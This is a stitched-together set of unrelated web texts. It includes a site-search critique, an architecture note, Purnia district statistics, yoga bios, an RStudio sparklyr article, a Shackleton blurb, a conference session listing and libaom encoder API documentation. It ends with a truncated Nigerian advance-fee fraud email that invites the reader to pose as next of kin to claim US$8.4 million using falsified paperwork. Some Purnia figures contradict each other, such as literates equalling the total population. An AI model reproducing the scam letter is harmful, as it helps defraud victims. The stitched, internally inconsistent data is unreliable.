In addition to getting users to the right page, there the search should also promote a message, or a link and summary, with a message along the lines of "August 2003: Pervasive Software Buys Data Junction". This could be as simple as promoting a press release to the top of the results list, directly under the link to the main landing page.
As Google users, we are all spoiled by Google's helpful suggestions about what we might have meant to type in. Usually Google only suggests simple spelling corrections. But site search engines can have more sophisticated functionality, where typing "data junction" could bring back "Did you mean: Pervasive Data Integrator".
Another way to handle product name issues, either due to different spellings, product renaming, or casual vs. formal product name differences, is to use a site specific thesaurus or offer other suggestions. See our vocabulary write-up here.
When I had limited my search for Data Junction to just the Pervasive Products section, I only got back 4 non-English product pages. But when I manually edited the URL to change language=SP to language=EN, I did find a corresponding English page. So clearly they DO have an English version of that content, but it did not show up in the results list for some reason. One possibility is that their site search spider has been misconfigured and is missing that page. The bigger question is what ELSE is their spider missing?
We saw numerous other problems with Pervasive's document meta data. We're not "picking on them", these problems are actually rather common. But for example, many of their description meta tags appear to have been copied from a template and do not reflect the content on each unique page. And their HTML titles do not line up with the pages' content. At a minimum, a Data Quality audit would have spotted the duplicate titles and summaries, and flagged meta data as an area needing attention.
Ongoing Search Analytics improves site navigation over time. As you spot common searches that are having problems, you can take various steps to fix them. For very common searches, one option is add something to your site menus; in this case they could have added "Data Junction" to one of the product menus, or had it in parenthesis. We advise all of our clients to keep an eye on their top 100 searches and the documents that each search returns. We assume that, given the popularity of Data Junction, that Pervasive would probably see that in their top 100 searches; had they followed up and looked at the results, they would have seen this problem earlier and presumably corrected it in some way.
We'd like to thank the fine folks at Pervasive for being our unintentional example site this month. We had a favorable impression of their products and customer facing staff, and they do have a very nice looking site. A few tweaks with site search would simply make it even better.
If you'd like to volunteer your sit


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When I drew this building, I tried to focus on the fact that the pattern imprinted on the outside of the building
with steel beams is not a consistent pattern. At first glance it might seem so, however upon studying the building closely
in order to draw an accurate depiction, I noticed that the gaps between these steels crossbeams get larger as you go higher
up in the building. There could be a myriad of different metaphors one could draw from this. For instance, it could represent
the class system in China (and most of the world), where there are many people clustered together on the bottom of the class ladder
while a few flourish on top. Metaphors aside, I think it is a very interesting design decision, and I think it is aesthetically pleasing.
Upon further research, the diamonds (called diagrids) are not a metaphor, but rather a visual representation of the engineering that
went into building the CCTV tower. "[the diagrids] become dense in areas of greater stress and looser and more open in areas requiring less support"


The name may originate from the Sanskrit word Purna–Aranya, which means "complete jungle". ... The city's name is also romanized as Purnea.
- City Purnia
- State Bihar
- District Purnia
- Total Population 171,235
- Total Male 92,573
- Total Female- 78,662
- Total Population (0-6 Age GrouP 27,020
- Total Male (0-6 Age Group) 13,907
- Total Female (0-6 Age Group) 13,113
- Total Literates 171,235
- Total Male Literates 92,573
- Total Female Literates 78,662
It is bordered by Araria district in north, Katihar and Bhagalpur district in South, Madhepura and Saharsa district in the west and West Dinajpur district of West Bengal and Kishanganj district of Bihar in east. It lies between 25 degree 13 minutes 80 seconds and 27-degree 7 minutes 59 seconds north latitude and between 86 degree 59 minutes 6 seconds and 87-degree 52 minutes 35 seconds east longitude.
Since agriculture is the principal occupation of the people of Purnia. Crops grown in this region are paddy, Jute, Wheat, Maize, Moong, Masoor, Mustard linseed, Sugar cane and Potato. Jute is the major cash crop of Purnia district. Fruit plants like coconut, Banana, Mango, Guava, Lemon, Jack Fruit, Pineapple and banana are also grown here. Rearing of livestock like goat, cow and pig is very popular in Purnia. It produces the maximum number of poultry and eggs in Bihar. The Sugar mill at Banmankhi and 716 other small-scale industries provide employment to the people of Purnia. Purnia district can be accessed by using road and rail services. The nearest railway station of the district is Katihar, and Purnia is also connected with National Highway No. - 31 to the various states of India.Description Units
- Headquarters: PURNIA
- Total Area: 3229.0 sq. Kms.
- Forest Area : 13.05 sq. Kms.
Net Sown Area: 5054.16 sq. Kms. - Occupied House: 337.41 '000
Net Irrigation Area : 815.63 sq. Kms .
- Total Population 1878.88 '000
Total Literates 420.59 '000 - Total Male 987.24 '000 Total Female 891.64 '000
- Urban Population 158.14 '000
Rural Population 1720.74 '000 - Rural Population - Male 901.82 '000
Rural Population - Female 818.93'000 - Urban Population - Male 85.42 '000
Urban Population - Female 72.75 '000 - Total SC Population 234.48 '000
Total ST Population 82.14 '000 - SC Population - Rural 220.52 '000 ST Population - Rural 76.55 '000
- SC Population - Urban 13.95 '000 ST Population - Urban 5.59 '000
- Total Male Literacy 304.14 '000 Total Female Literacy 11.64 '000
- Rural Literates 337.63 '000 Urban Literates 82.97 '000
- Rural Literates - Male 252.23 '000 Rural Literates - Female 85.4 '000
- Urban Literates - Male 51.91 '000 Urban Literates - Female 31.05 '000
- Rural Male Literacy % 35.49 % -
- Rural Female Literacy % 13.46 % -
- Urban Male Literacy % 73.48 % -
- Urban Female Literacy % 53.06 % -
- Total Workers ('000) -
- Male Workers ('0000 -


Work hard in silence, let your success be the noise.
12 years of experience teaching geriatric clients. Passionate about helping clients strengthen their bodies for functional living while receiving the relaxation benefits of yoga.
Read More12 years of experience teaching geriatric clients. Passionate about helping clients strengthen their bodies for functional living while receiving the relaxation benefits of yoga.
Read More12 years of experience teaching geriatric clients. Passionate about helping clients strengthen their bodies for functional living while receiving the relaxation benefits of yoga.
Read More12 years of experience teaching geriatric clients. Passionate about helping clients strengthen their bodies for functional living while receiving the relaxation benefits of yoga.
Read More12 years of experience teaching geriatric clients. Passionate about helping clients strengthen their bodies for functional living while receiving the relaxation benefits of yoga.
Read MoreYoga is a mind and body practice. Various styles of yoga combine physical postures, breathing techniques, and meditation or relaxation. It involves movement, meditation, and breathing techniques to promote mental and physical well-being. There are several types of yoga and many disciplines within the practice.


{% extends "base.html" %} {% block content %}
Some serious error has occured in server side. In case you have feedback write<EMAIL_ADDRESS>Thank you.
sardor@hanbiro.com


Examples and notes for creating macros in VBA for Microsoft Word documents
Here we have kitties (test):
Los Kitties


This article aims explain how to take advantage of Apache Spark inside organizations that have already implemented, or are in the process of implementing, a Hadoop based Big Data Lake.
We have noticed that the types of questions we field after a demo of sparklyr to our customers were more about high-level architecture than how the package works. To answer those questions, we put together a set of slides that illustrate and discuss important concepts, to help customers see where Spark, R, and sparklyr fit in a Big Data Platform implementation. In this article, we’ll review those slides and provide a narrative that will help you better envision how you can take advantage of our products.
It is very important to preface the Use Case review with some background information about where RStudio focuses its efforts when developing packages and products. Many vendors offer R integration, but in most cases, what this means is that they will add a model built in R to their pipeline or interface, and pass new inputs to that model to generate outputs that can be used in the next step in the pipeline, or in a calculation for the interface.
In contrast, our focus is on the process that happens before that: the discipline that produces the model, meaning Data Science.
In their R for Data Science book, Hadley Wickham and Garrett Grolemund provide a great diagram that nicely illustrates the Data Science process: We import data into memory with R and clean and tidy the data. Then we go into a cyclical process called understand, which helps us to get to know our data, and hopefully find the answer to the question we started with. This cycle typically involves making transformations to our tidied data, using the transformed data to fit models, and visualizing results. Once we find an answer to our question, we then communicate the results.
Data Scientists like using R because it allows them to complete a Data Science project from beginning to end inside the R environment, and in memory.
What happens when the data that needs to be analyzed is very large, like the data sets found in a Hadoop cluster? It would be impossible to fit these in memory, so workarounds are normally used. Possible workarounds include using a comparatively minuscule data sample, or download as much data as possible. This becomes disruptive to Data Scientists because either the small sample may not be representative, or they have to wait a long time in every iteration of importing a lot of data, exploring a lot of data, and modeling a lot of data.
We noticed that a very important mental leap to make is to see Spark not just as a gateway to Hadoop (or worse, as an additional data source), but as a computing engine. As such, it is an excellent vehicle to scale our analytics. Spark has many capabilities that makes it ideal for Data Science in a data lake, such as close integration with Hadoop and Hive, the ability to cache data into memory across multiple nodes, data transformers, and its Machine Learning libraries.
The approach, then, is to push as much compute to the cluster as possible, using R primarily as an interface to Spark for the Data Scientist, which will then collect as few results as possible back into R memory, mostly to visualize and communicate. As shown in the slide, the more import, tidy, transform and modeling work we can push to Spark, the faster we can analyze very large data sets.
Here is an illustration of how R, RStudio, and sparklyr can be added to the YARN managed cluster. The highlights are:
There are some important considerations to keep in mind when combining your Data Lake and R for large scale analytics:
Spark’s Machine Learning libraries may not contain specific models that a Data Scientist needs. For those cases, workarounds would include using a sparklyr extension like H2O, or collecting a sample of the data into R memory for modeling.
Spark does not have visualization functionality; currently, the best approach is to collect pre-calculated data into R for plotting. A good way to drastically reduce the number of rows being brought back into memory is to push as much computation as possible to Spark, and return just the results to be plotted. For example, the bins of a Histogram can be calculated in Spark, so that only the final bucket values would be returned to R for visualization. Here is sample code for such a scenario: sparkDemos/Histogram
A particular use case may require a different way of scaling analytics. We have published an article that provides a very good overview of the options that are available: R for Enterprise: How to Scale Your Analytics Using R
With sparklyr, the Data Scientist will be able to access the Data Lake’s data, and also gain an additional, very powerful understand layer via Spark. sparklyr, along with the RStudio IDE and the tidyverse packages, provides the Data Scientist with an excellent toolbox to analyze data, big and small.


Sir Ernest Shackleton was an Anglo-Irish Antarctic explorer and is famous, principally, for leading the Imperial Trans-Antartic (Endurance) Expedition of 1914-16.
He was one of the principal figures of the period known as the Heroic Age of Antartic Exploration. Educated at Dulwich College and having ignored his father's wishes that he become a doctor he joined the merchant navy. Of many quotes one of his most famous is, "Difficulties are just things to overcome, after all."
During his life he made three trips to the Antarctic. As well as climbing Mount Erebus he made many important scientific discoveries. On his fourth expedition to circumnavigate the Antartic he died of a heart attack. He was buried on the Island of South Georgia.
How far(according toe Shackleton's wikipedia page) is it from Elephant Island to South Georgia in nautical miles


--- layout: session academic: true title: "Bilingual Breakout Session - Community building and empowerment in South: French-speaking countries in Africa+Haiti" code: "NCSSPK" speaker_names_with_affiliations: ['Séverin Menard', 'Nicolas Chavent (Associations Les Libres Géographes (LLG) et Projet Espace OSM Francophone (ProjetEOF))'] extra_tags: room: "Kleiner Hörsaal" length: "01:30" time: "Sunday, 11:30" recording: False ---
This breakout session will produce a narrative about how since 2010, OpenStreetMap communities emerged in Haiti and expanded to Western and Central Africa after 2012 partly as the result of a combined set of support actions spanning technical and organizational OSM trainings, voluntary and professional OSM mapping projects, OSM local and international volunteering programs, documentation as well as preparedness and crisis mapping work... Tied to the overall support of the global OSM community and the commitment of Haitian and African mappers, these actions allowed the OSM project to come forth in the form of a network of organized and self-standing communities and economic stakeholders in Haiti, Western and Central Africa cognizant of and active with OpenStreetMap, Open data and free geomatics.
Like in Milano's Bird of Feathers sessions last year, this talk will be collectively built with African mappers involved in these multi-years activities and ideally co-facilitated by those from Western Africa successful in getting visas and traveling to Heidelberg. This talk is meant to introduce a Bird of Feathers session opened to anyone active or interested in growing OSM the grassroots way in the hard environment of the countries of the Global South and especially southern countries of Africa.
Additional scholars from Africa may also join.


This is the first time you the digitizer. You have been automatically routed to the initial setup procedure.
This procedure should adjust the setting to your local counter. Basically you can customize your settings in five steps.
In the final step the inital setup will be disabled and it will restart to the normal mode.
Just use the buttons "Next" and "Previous" to nagivate through the process.
Follow the instructions:
After step 5 you switch of the setup mode, reboot and start in normal mode!


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AOMedia Codec SDK
|
Files | |
| file | aom_encoder.h |
| Describes the encoder algorithm interface to applications. | |
Data Structures | |
| struct | aom_fixed_buf |
| Generic fixed size buffer structure. More... | |
| struct | aom_codec_cx_pkt |
| Encoder output packet. More... | |
| struct | aom_rational |
| Rational Number. More... | |
| struct | aom_codec_enc_cfg |
| Encoder configuration structure. More... | |
Macros | |
| #define | AOM_ENCODER_ABI_VERSION |
| Current ABI version number. | |
| #define | AOM_CODEC_CAP_PSNR 0x10000 |
| Encoder capabilities bitfield. More... | |
| #define | AOM_CODEC_CAP_HIGHBITDEPTH 0x40000 |
| #define | AOM_CODEC_USE_PSNR 0x10000 |
| Initialization-time Feature Enabling. More... | |
| #define | AOM_CODEC_USE_HIGHBITDEPTH 0x40000 |
| Make the encoder output one partition at a time. More... | |
| #define | AOM_FRAME_IS_KEY 0x1 |
| #define | AOM_FRAME_IS_DROPPABLE 0x2 |
| frame can be dropped without affecting the stream (no future frame depends on this one) | |
| #define | AOM_FRAME_IS_INTRAONLY 0x10 |
| this is an INTRA_ONLY frame | |
| #define | AOM_FRAME_IS_SWITCH 0x20 |
| this is an S-frame | |
| #define | AOM_FRAME_IS_ERROR_RESILIENT 0x40 |
| this is an error-resilient frame | |
| #define | AOM_FRAME_IS_DELAYED_RANDOM_ACCESS_POINT 0x80 |
| this is a key-frame dependent recovery-point frame | |
| #define | AOM_ERROR_RESILIENT_DEFAULT 0x1 |
| Improve resiliency against losses of whole frames. | |
| #define | AOM_EFLAG_FORCE_KF (1 << 0) |
| #define | aom_codec_enc_init(ctx, iface, cfg, flags) aom_codec_enc_init_ver(ctx, iface, cfg, flags, AOM_ENCODER_ABI_VERSION) |
| Convenience macro for aom_codec_enc_init_ver() More... | |
| #define | aom_codec_enc_init_multi(ctx, iface, cfg, num_enc, flags, dsf) |
| Convenience macro for aom_codec_enc_init_multi_ver() More... | |
Typedefs | |
| typedef struct aom_fixed_buf | aom_fixed_buf_t |
| Generic fixed size buffer structure. More... | |
| typedef int64_t | aom_codec_pts_t |
| Time Stamp Type. More... | |
| typedef uint32_t | aom_codec_frame_flags_t |
| Compressed Frame Flags. More... | |
| typedef uint32_t | aom_codec_er_flags_t |
| Error Resilient flags. More... | |
| typedef struct aom_codec_cx_pkt | aom_codec_cx_pkt_t |
| Encoder output packet. More... | |
| typedef struct aom_rational | aom_rational_t |
| Rational Number. More... | |
| typedef long | aom_enc_frame_flags_t |
| Encoded Frame Flags. More... | |
| typedef struct aom_codec_enc_cfg | aom_codec_enc_cfg_t |
| Encoder configuration structure. More... | |
Enumerations | |
| enum | aom_codec_cx_pkt_kind { AOM_CODEC_CX_FRAME_PKT, AOM_CODEC_STATS_PKT, AOM_CODEC_FPMB_STATS_PKT, AOM_CODEC_PSNR_PKT, AOM_CODEC_CUSTOM_PKT = 256 } |
| Encoder output packet variants. More... | |
| enum | aom_enc_pass { AOM_RC_ONE_PASS, AOM_RC_FIRST_PASS, AOM_RC_LAST_PASS } |
| Multi-pass Encoding Pass. More... | |
| enum | aom_rc_mode { AOM_VBR, AOM_CBR, AOM_CQ, AOM_Q } |
| Rate control mode. More... | |
| enum | aom_kf_mode { AOM_KF_FIXED, AOM_KF_AUTO, AOM_KF_DISABLED = 0 } |
| Keyframe placement mode. More... | |
This abstraction allows applications using this encoder to easily support multiple video formats with minimal code duplication. This section describes the interface common to all encoders.
| #define AOM_CODEC_CAP_PSNR 0x10000 |
Encoder capabilities bitfield.
Each encoder advertises the capabilities it supports as part of its aom_codec_iface_t interface structure. Capabilities are extra interfaces or functionality, and are not required to be supported by an encoder.
The available flags are specified by AOM_CODEC_CAP_* defines.Can issue PSNR packets
| #define AOM_CODEC_CAP_HIGHBITDEPTH 0x40000 |
Can support input images at greater than 8 bitdepth.
| #define AOM_CODEC_USE_PSNR 0x10000 |
Initialization-time Feature Enabling.
Certain codec features must be known at initialization time, to allow for proper memory allocation.
The available flags are specified by AOM_CODEC_USE_* defines.Calculate PSNR on each frame
| #define AOM_CODEC_USE_HIGHBITDEPTH 0x40000 |
Make the encoder output one partition at a time.
Use high bitdepth
| #define AOM_FRAME_IS_KEY 0x1 |
frame is the start of a GOP
| #define AOM_EFLAG_FORCE_KF (1 << 0) |
Force this frame to be a keyframe
| #define aom_codec_enc_init | ( | ctx, | |
| iface, | |||
| cfg, | |||
| flags | |||
| ) | aom_codec_enc_init_ver(ctx, iface, cfg, flags, AOM_ENCODER_ABI_VERSION) |
Convenience macro for aom_codec_enc_init_ver()
Ensures the ABI version parameter is properly set.
| #define aom_codec_enc_init_multi | ( | ctx, | |
| iface, | |||
| cfg, | |||
| num_enc, | |||
| flags, | |||
| dsf | |||
| ) |
Convenience macro for aom_codec_enc_init_multi_ver()
Ensures the ABI version parameter is properly set.
| typedef struct aom_fixed_buf aom_fixed_buf_t |
Generic fixed size buffer structure.
This structure is able to hold a reference to any fixed size buffer.alias for struct aom_fixed_buf
| typedef int64_t aom_codec_pts_t |
Time Stamp Type.
An integer, which when multiplied by the stream's time base, provides the absolute time of a sample.
| typedef uint32_t aom_codec_frame_flags_t |
Compressed Frame Flags.
This type represents a bitfield containing information about a compressed frame that may be useful to an application. The most significant 16 bits can be used by an algorithm to provide additional detail, for example to support frame types that are codec specific (MPEG-1 D-frames for example)
| typedef uint32_t aom_codec_er_flags_t |
Error Resilient flags.
These flags define which error resilient features to enable in the encoder. The flags are specified through the aom_codec_enc_cfg::g_error_resilient variable.
| typedef struct aom_codec_cx_pkt aom_codec_cx_pkt_t |
Encoder output packet.
This structure contains the different kinds of output data the encoder may produce while compressing a frame.alias for struct aom_codec_cx_pkt
| typedef struct aom_rational aom_rational_t |
Rational Number.
This structure holds a fractional value.alias for struct aom_rational
| typedef long aom_enc_frame_flags_t |
Encoded Frame Flags.
This type indicates a bitfield to be passed to aom_codec_encode(), defining per-frame boolean values. By convention, bits common to all codecs will be named AOM_EFLAG_*, and bits specific to an algorithm will be named /algo/_eflag_*. The lower order 16 bits are reserved for common use.
| typedef struct aom_codec_enc_cfg aom_codec_enc_cfg_t |
Encoder configuration structure.
This structure contains the encoder settings that have common representations across all codecs. This doesn't imply that all codecs support all features, however.alias for struct aom_codec_enc_cfg
Encoder output packet variants.
This enumeration lists the different kinds of data packets that can be returned by calls to aom_codec_get_cx_data(). Algorithms MAY extend this list to provide additional functionality.
| enum aom_enc_pass |
| enum aom_rc_mode |
| enum aom_kf_mode |
Keyframe placement mode.
This enumeration determines whether keyframes are placed automatically by the encoder or whether this behavior is disabled. Older releases of this SDK were implemented such that AOM_KF_FIXED meant keyframes were disabled. This name is confusing for this behavior, so the new symbols to be used are AOM_KF_AUTO and AOM_KF_DISABLED.
| Enumerator | |
|---|---|
| AOM_KF_FIXED | deprecated, implies AOM_KF_DISABLED |
| AOM_KF_AUTO | Encoder determines optimal placement automatically |
| AOM_KF_DISABLED | Encoder does not place keyframes. |
| aom_codec_err_t aom_codec_enc_init_ver | ( | aom_codec_ctx_t * | ctx, |
| aom_codec_iface_t * | iface, | ||
| const aom_codec_enc_cfg_t * | cfg, | ||
| aom_codec_flags_t | flags, | ||
| int | ver | ||
| ) |
Initialize an encoder instance.
Initializes a encoder context using the given interface. Applications should call the aom_codec_enc_init convenience macro instead of this function directly, to ensure that the ABI version number parameter is properly initialized.
If the library was configured with –disable-multithread, this call is not thread safe and should be guarded with a lock if being used in a multithreaded context.
| [in] | ctx | Pointer to this instance's context. |
| [in] | iface | Pointer to the algorithm interface to use. |
| [in] | cfg | Configuration to use, if known. |
| [in] | flags | Bitfield of AOM_CODEC_USE_* flags |
| [in] | ver | ABI version number. Must be set to AOM_ENCODER_ABI_VERSION |
| AOM_CODEC_OK | The decoder algorithm initialized. |
| AOM_CODEC_MEM_ERROR | Memory allocation failed. |
| aom_codec_err_t aom_codec_enc_init_multi_ver | ( | aom_codec_ctx_t * | ctx, |
| aom_codec_iface_t * | iface, | ||
| aom_codec_enc_cfg_t * | cfg, | ||
| int | num_enc, | ||
| aom_codec_flags_t | flags, | ||
| aom_rational_t * | dsf, | ||
| int | ver | ||
| ) |
Initialize multi-encoder instance.
Initializes multi-encoder context using the given interface. Applications should call the aom_codec_enc_init_multi convenience macro instead of this function directly, to ensure that the ABI version number parameter is properly initialized.
| [in] | ctx | Pointer to this instance's context. |
| [in] | iface | Pointer to the algorithm interface to use. |
| [in] | cfg | Configuration to use, if known. |
| [in] | num_enc | Total number of encoders. |
| [in] | flags | Bitfield of AOM_CODEC_USE_* flags |
| [in] | dsf | Pointer to down-sampling factors. |
| [in] | ver | ABI version number. Must be set to AOM_ENCODER_ABI_VERSION |
| AOM_CODEC_OK | The decoder algorithm initialized. |
| AOM_CODEC_MEM_ERROR | Memory allocation failed. |
| aom_codec_err_t aom_codec_enc_config_default | ( | aom_codec_iface_t * | iface, |
| aom_codec_enc_cfg_t * | cfg, | ||
| unsigned int | reserved | ||
| ) |
Get a default configuration.
Initializes a encoder configuration structure with default values. Supports the notion of "usages" so that an algorithm may offer different default settings depending on the user's intended goal. This function SHOULD be called by all applications to initialize the configuration structure before specializing the configuration with application specific values.
| [in] | iface | Pointer to the algorithm interface to use. |
| [out] | cfg | Configuration buffer to populate. |
| [in] | reserved | Must set to 0. |
| AOM_CODEC_OK | The configuration was populated. |
| AOM_CODEC_INCAPABLE | Interface is not an encoder interface. |
| AOM_CODEC_INVALID_PARAM | A parameter was NULL, or the usage value was not recognized. |
| aom_codec_err_t aom_codec_enc_config_set | ( | aom_codec_ctx_t * | ctx, |
| const aom_codec_enc_cfg_t * | cfg | ||
| ) |
Set or change configuration.
Reconfigures an encoder instance according to the given configuration.
| [in] | ctx | Pointer to this instance's context |
| [in] | cfg | Configuration buffer to use |
| AOM_CODEC_OK | The configuration was populated. |
| AOM_CODEC_INCAPABLE | Interface is not an encoder interface. |
| AOM_CODEC_INVALID_PARAM | A parameter was NULL, or the usage value was not recognized. |
| aom_fixed_buf_t* aom_codec_get_global_headers | ( | aom_codec_ctx_t * | ctx | ) |
Get global stream headers.
Retrieves a stream level global header packet, if supported by the codec. Calls to this function should be deferred until all configuration information has been passed to libaom. Otherwise the global header data may be invalidated by additional configuration changes.
The AV1 implementation of this function returns an OBU. The OBU returned is in Low Overhead Bitstream Format. Specifically, the obu_has_size_field bit is set, and the buffer contains the obu_size field for the returned OBU.
| [in] | ctx | Pointer to this instance's context |
| NULL | Encoder does not support global header, or an error occurred while generating the global header. |
| Non-NULL | Pointer to buffer containing global header packet. The caller owns the memory associated with this buffer, and must free the 'buf' member of the aom_fixed_buf_t as well as the aom_fixed_buf_t pointer. Memory returned must be freed via call to free(). |
| aom_codec_err_t aom_codec_encode | ( | aom_codec_ctx_t * | ctx, |
| const aom_image_t * | img, | ||
| aom_codec_pts_t | pts, | ||
| unsigned long | duration, | ||
| aom_enc_frame_flags_t | flags | ||
| ) |
Encode a frame.
Encodes a video frame at the given "presentation time." The presentation time stamp (PTS) MUST be strictly increasing.
When the last frame has been passed to the encoder, this function should continue to be called, with the img parameter set to NULL. This will signal the end-of-stream condition to the encoder and allow it to encode any held buffers. Encoding is complete when aom_codec_encode() is called and aom_codec_get_cx_data() returns no data.
| [in] | ctx | Pointer to this instance's context |
| [in] | img | Image data to encode, NULL to flush. |
| [in] | pts | Presentation time stamp, in timebase units. |
| [in] | duration | Duration to show frame, in timebase units. |
| [in] | flags | Flags to use for encoding this frame. |
| AOM_CODEC_OK | The configuration was populated. |
| AOM_CODEC_INCAPABLE | Interface is not an encoder interface. |
| AOM_CODEC_INVALID_PARAM | A parameter was NULL, the image format is unsupported, etc. |
| aom_codec_err_t aom_codec_set_cx_data_buf | ( | aom_codec_ctx_t * | ctx, |
| const aom_fixed_buf_t * | buf, | ||
| unsigned int | pad_before, | ||
| unsigned int | pad_after | ||
| ) |
Set compressed data output buffer.
Sets the buffer that the codec should output the compressed data into. This call effectively sets the buffer pointer returned in the next AOM_CODEC_CX_FRAME_PKT packet. Subsequent packets will be appended into this buffer. The buffer is preserved across frames, so applications must periodically call this function after flushing the accumulated compressed data to disk or to the network to reset the pointer to the buffer's head.
pad_before
bytes will be skipped before writing the compressed data, and pad_after
bytes will be appended to the packet. The size of the packet will be the sum of the size of the actual compressed data, pad_before, and pad_after. The padding bytes will be preserved (not overwritten).
Note that calling this function does not guarantee that the returned compressed data will be placed into the specified buffer. In the event that the encoded data will not fit into the buffer provided, the returned packet MAY point to an internal buffer, as it would if this call were never used. In this event, the output packet will NOT have any padding, and the application must free space and copy it to the proper place. This is of particular note in configurations that may output multiple packets for a single encoded frame (e.g., lagged encoding) or if the application does not reset the buffer periodically.
Applications may restore the default behavior of the codec providing the compressed data buffer by calling this function with a NULL buffer.
Applications MUST NOT call this function during iteration of aom_codec_get_cx_data().
| [in] | ctx | Pointer to this instance's context |
| [in] | buf | Buffer to store compressed data into |
| [in] | pad_before | Bytes to skip before writing compressed data |
| [in] | pad_after | Bytes to skip after writing compressed data |
| AOM_CODEC_OK | The buffer was set successfully. |
| AOM_CODEC_INVALID_PARAM | A parameter was NULL, the image format is unsupported, etc. |
| const aom_codec_cx_pkt_t* aom_codec_get_cx_data | ( | aom_codec_ctx_t * | ctx, |
| aom_codec_iter_t * | iter | ||
| ) |
Encoded data iterator.
Iterates over a list of data packets to be passed from the encoder to the application. The different kinds of packets available are enumerated in aom_codec_cx_pkt_kind.
AOM_CODEC_CX_FRAME_PKT packets should be passed to the application's muxer. Multiple compressed frames may be in the list. AOM_CODEC_STATS_PKT packets should be appended to a global buffer.
The application MUST silently ignore any packet kinds that it does not recognize or support.
The data buffers returned from this function are only guaranteed to be valid until the application makes another call to any aom_codec_* function.
| [in] | ctx | Pointer to this instance's context |
| [in,out] | iter | Iterator storage, initialized to NULL |
| const aom_image_t* aom_codec_get_preview_frame | ( | aom_codec_ctx_t * | ctx | ) |
Get Preview Frame.
Returns an image that can be used as a preview. Shows the image as it would exist at the decompressor. The application MUST NOT write into this image buffer.
| [in] | ctx | Pointer to this instance's context |


FROM: MR. RICHARD WILLIAMS. 1A PRESIDENTIAL ROAD, ENUGU, ENUGU STATE NIGERIA. ATTENTION PLEASE!   I STRONGLY BELIEVED, I WOULD NOT REGRET APPROACHING YOU IN THIS MATTER . IT IS MY BELIEF THAT I CANNOT CONTINUE LEAVING A MONOTONOUS AND UNAMBITOUS EXISTENCE; THE KIND OF LIFE THE HUNDREDS OF THOUSANDS OF YOUNG MEN LIVES, WHO HAVE NO PROSPECT AND WHO WILL BE DOING THE SAME THING IN ANOTHER TWENTY YEARS TIME AS THEY ARE DOING NOW. I AM MR. MR. RICHARD WILLIAMS, CHIEF AUDITOR-GENERAL CONTINENTAL TRUST BANK LIMITED, ENUGU MAIN BRANCH. ,FOR REASONS WHICH WILL COME TO LIGHT AS YOU READ ON.  ON THURSDAY JUNE 6TH 2000, AN OIl CONSULTANT/CONTRACTOR WITH THE NIGERIA OIL MINISTRY, MR.  ON MATURITY, WE SENT A ROUTINE NOTIFICATION TO HIS FORWARDING ADDRESS BUT GOT NO REPLY.AFTER A MONTH, WE SENT A REMINDER AND FINALLY, HIS EMPLOYERS,WROTE TO INFORM US THAT MR. ABDULLAH DIED IN AN AUTO MOBILE ACCIDENT. THAT HE DIED WITHOUT MAKING A WILL WHILE ATTEMPT TO TRACE HIS NEXT OF KIN THROUGH THE IRAQI EMBASSY PROVED FRUITLESS. AT FIRST, I WAS SURPRISED THAT I DID NOT RECEIVE MUCH OFFICIAL CO-OPERATION IN MY ENQUIRIES IN ORDER TO TRACE HIS KIN IN IRAQ AND INFORM THEM ABOUT MR.ABDULLAH?S DEPOSIT OF US$8.4 MIILLION PLUS ACCRUED INTEREST. FURTHER INVESTIGATION REVEALED THAT MR. ABDULLAH WAS ACTIVELY OPPOSED TO IRAQ GOVERNMENT OF LEAD BY THE FORMER PRESIDENT SADDAM HUSSEIN OF IRAQ AS A RESULT, HE WAS DRIVEN INTO EXILE. BEING AN OIL EXPERT, MR.ABDULLAH SUBSEQUENTLY OBTAINED A JOB IN NIGERIA HERE, AND SETTLED IN NIGERIA. THEREAFTER HE WALKED INTO MY OFFICE TO MAKE THE AFORE-MENTIONED DEPOSIT OF US$8 MILLION. HE DID NOT DECLARE HIS KIN IN HIS APPLICATION PAPER WORK.  (MY EMPLOYER), I DID NOT TURN DOWN HIS WISH BUT RATHER HONOURED IT ESPECIALLY GIVEN HIS HIGH NET WORTH. IN REALITY,NO ONE KNOWS THE SOURCE OF HIS MONEY SINCE APPARENTLY, THE TIME FRAME OF HIS EMPLOYMENT HERE DOES INDEED PRECLUDE SUCH A LARGE AMOUNT OF MONEY. IT IS THEREFORE PRESUMED THAT HE BROUGHT IN HIS MONEY FROM IRAQ ALTHOUGH THIS IS OPEN TO SPECULATION. THE POINT HOWEVER IS THAT THE EMPLOYERS ARE NOT AWARE OF HIS MONEY,THEREFORE ONE CAN SAFELY INFER THAT NO ONE WILL EVER COME TO THIS MONEY. THIS FUND,TOTALLING US$8.4 M(INCLUSIVE OF ACCRUED INTEREST) IS STILL SITTING IN MY BANKS DORMANT ACCOUNT PORTFOLIO. ACCORDING TO NIGERIA BANKING LAWS AND ACT OF 1993,THE MONEY WILL AUTOMATICALLY REVERT TO THE NIGERIA GOVERNMENT TREASURY AFTER FIVE YEARS, ESPECIALL IF THE ACCOUNT OWNER IS A FOREIGNER WHO HAS BEEN CERTIFIED DEAD AND THERE IS NO VALID CLAIM, THIS INDEED, IS THE SITUATION. I AM THUS LOOKING FOR A FOREIGNER WHO WILL STAND-IN AS THE NEXT OF KIN TO MR.  IT IS EVEN NOT IMPORTANT FOR THE STAND-IN NEXT OF KIN TO BE AN IRAQ NATIONAL.READY, I HAVE WORKED OUT MODALITIES FOR ACHIEVING MY AIM OF APPOINTING A NEXT OF KIN AS WELL AS TRANSFER THE MONEY ABROAD FOR US TO SHARE.  THE MONEY TRANSFER PAPER WORK ITSELF WILL INCLUDE A CERTIFICATE OF ORIGIN SO THAT THE RECEIVING BANK DOES NOT ASK QUESTION OR WORSE STILL REFUSE THE FUND ACCEPTANCE ON GROUND OF LAUNDERING. ALSO, THE PAPER WORK WILL INCLUDE PROPER CERTIFICATION THAT THE FUND BEING TRANSFERRED IS FROM NON-CRIMINAL SOURCES.IN SHORT THIS WILL BE A PROPER AND LEGAL MONEY TRANSFER WITH APPARENTLY NO RISK INVOLVED! THE ATTORNEY WILL HAVE TO PROCESS THE INITIAL PAPER WORK TO OBTAIN APPROVAL FROM THE PROBATE REGISTRY OF THE MINISTRY OF JUSTICE FOR THE LETTER OF ADMINISTRATION EMPOWERING YOU AS THE SOLE TRUSTEE/EXECUTOR TO THE ESTATE OF MR. ABDULLAH. IF YOU THEREFORE AGREE TO BE THE OFFICIAL BENEFICIARY,THEN PLEASE NOTE THAT YOU WILL NOT BE REQUIRED TO SIGN ANY MONEY RANSFER DOCUMENTS, AS THE APPOINTED ATTORNEY WILL DO ALL THAT. ALSO, YOU WILL NOT BE 